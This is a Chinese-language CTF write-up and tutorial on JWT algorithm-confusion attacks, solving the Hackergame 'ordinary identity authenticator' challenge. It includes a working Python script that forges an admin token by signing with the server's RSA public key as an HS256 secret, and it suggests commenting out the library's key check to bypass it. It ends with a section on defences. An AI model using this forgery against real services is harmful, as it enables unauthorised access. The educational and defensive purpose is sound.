记一题关于JWT的CTF(hackergame 普通的身份认证器)
字数 1649 2025-08-15 21:32:35
JWT安全漏洞分析与利用教学文档
1. JWT基础概念
1.1 什么是JWT
JSON Web Token (JWT) 是RFC 7519定义的一种用于安全传输信息的开放标准,它由三部分组成,通过点号(.)连接:
Header.Payload.Signature
1.2 JWT组成部分
Header (头部)
- 包含两个主要字段:
typ: 令牌类型,通常为"JWT"alg: 签名算法,如HS256、RS256等
- 示例:
{
"typ": "JWT",
"alg": "HS256"
}
Payload (负载)
包含三类声明(claims):
-
Registered claims (注册声明):
iss(issuer): 签发者exp(expiration time): 过期时间sub(subject): 主体aud(audience): 受众nbf(Not Before): 生效时间iat(Issued At): 签发时间jti(JWT ID): 编号
-
Public claims (公共声明):用户自定义的公开信息
-
Private claims (私有声明):各方共享的私有信息
Signature (签名)
由以下部分组成:
- Base64编码后的header
- Base64编码后的payload
- 密钥(secret)
使用指定算法进行加密,如:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)
2. JWT签名算法
2.1 对称加密算法(HS256)
- 使用同一个密钥进行签名和验证
- 算法:HMAC + SHA256
- 特点:密钥必须保密
2.2 非对称加密算法(RS256)
- 使用私钥签名,公钥验证
- 算法:RSA + SHA256
- 特点:公钥可以公开,私钥必须保密
3. JWT安全漏洞分析
3.1 算法混淆攻击(Algorithm Confusion Attack)
攻击原理
- 服务器通常配置为接受多种算法(如RS256和HS256)
- 攻击者获取服务器的公钥
- 修改JWT头部,将算法从RS256改为HS256
- 使用公钥作为HS256的密钥重新签名
- 服务器使用公钥+HS256验证时,会认为签名有效
攻击条件
- 能够获取服务器的公钥
- 服务器不严格校验算法类型
- JWT库不检查公钥是否适合对称加密
漏洞修复
- JWT库更新后增加了对公钥的校验
- 检测public key是否为非对称加密公钥
- 如果是,则不允许用于HS256算法
4. CTF实战:普通的身份认证器
4.1 题目分析
- 目标:获取admin权限查看profile文件
- 已知信息:
- 使用FastAPI框架
- JWT验证机制
/debug路径暴露了public key
4.2 解题步骤
-
信息收集:
- 访问FastAPI默认文档界面
/docs - 从
/debug获取public key
- 访问FastAPI默认文档界面
-
构造恶意JWT:
- 修改Payload中的
sub为"admin" - 修改Header中的
alg为"HS256" - 使用public key作为HS256的密钥进行签名
- 修改Payload中的
-
利用脚本:
import jwt
PUBLIC_KEY = """-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF
neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf
ft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr
+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY
M688jhuAM/FSLfMzdyk23mJk3CKPah48nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd
46Fp1ff1zBn4sZTfPSOus/+00D5Lxh6bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s
eDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL
3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns
QcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb
pBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv
FCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==
-----END RSA PUBLIC KEY-----"""
payload = {
"sub": "admin",
"exp": 9902085613 # 任意过期时间
}
header = {
"typ": "JWT",
"alg": "HS256"
}
# 生成恶意JWT
encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256', headers=header)
print(encoded)
-
绕过保护机制:
- 新版JWT库会检测公钥是否适合对称加密
- 解决方法:临时注释掉库中的校验代码
-
发送恶意JWT:
- 将生成的token替换到请求中
- 服务器会使用公钥+HS256验证,认为这是合法token
- 获取admin权限
5. 防御措施
-
服务器端:
- 严格指定接受的算法类型,不接收HS256
- 不暴露公钥信息
- 使用最新版JWT库
-
开发实践:
- 对JWT进行严格的算法验证
- 实现公钥/密钥的严格管理
- 定期更新安全依赖
-
JWT使用建议:
- 设置合理的过期时间
- 使用强加密算法
- 避免在JWT中存储敏感信息
6. 扩展知识
-
其他JWT攻击方式:
- 无签名攻击(将alg改为"none")
- 弱密钥破解
- 密钥泄露
-
相关工具:
- jwt.io - JWT在线解码/编码
- jwt_tool - JWT渗透测试工具
- Burp Suite JWT插件
-
学习资源:
- RFC 7519: JSON Web Token (JWT)
- OWASP JWT Cheat Sheet
- JWT官方文档